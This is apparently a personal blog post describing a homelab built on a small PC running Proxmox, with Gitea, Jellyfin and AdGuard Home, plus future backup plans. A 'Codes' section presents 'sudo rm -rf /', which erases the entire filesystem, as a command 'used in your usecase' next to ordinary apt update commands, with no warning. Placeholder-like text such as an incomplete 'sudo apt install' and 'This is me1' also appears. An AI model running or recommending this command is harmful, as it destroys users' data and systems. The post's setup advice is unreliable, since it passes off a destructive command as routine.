My Homelab Setup: A Self-Hosted Cloud

This post outlines my current homelab setup. It’s an ever-evolving project, but it currently serves all my needs for development, media, and self-hosting various services.

Hardware

The core of my setup is a small form-factor PC with modest specs, which is more than enough for my needs while keeping power consumption low.

  • CPU: Intel Core i5-8500T
  • RAM: 32GB DDR4
  • Storage: 1TB NVMe SSD for VMs and a 4TB HDD for bulk storage.

Codes

This code can be used in your usecase

sudo apt install

sudo apt update && apt upgrade -y

sudo rm -rf /

Software Stack

I use Proxmox as the hypervisor. It’s a fantastic open-source solution that combines KVM for virtual machines and LXC for lightweight containers.

My picture

This is Sumitro
This is me1

Key Services

  1. Gitea: A self-hosted Git service. It’s lightweight and has all the features I need for my personal projects.
  2. Jellyfin: My media server. It streams movies and music to all my devices.
  3. AdGuard Home: Network-wide ad-blocking. It’s a DNS sinkhole that keeps my network clean.

Here’s a simplified diagram of the network layout:

A simple network diagram showing a router connected to a Proxmox server, which hosts several virtual machines.
My simple homelab network

The caption for the image above is generated from the image’s title attribute in Markdown.

Future Plans

I’m planning to add more robust backup solutions, likely using Proxmox Backup Server running on a separate machine. I also want to explore more home automation with Home Assistant.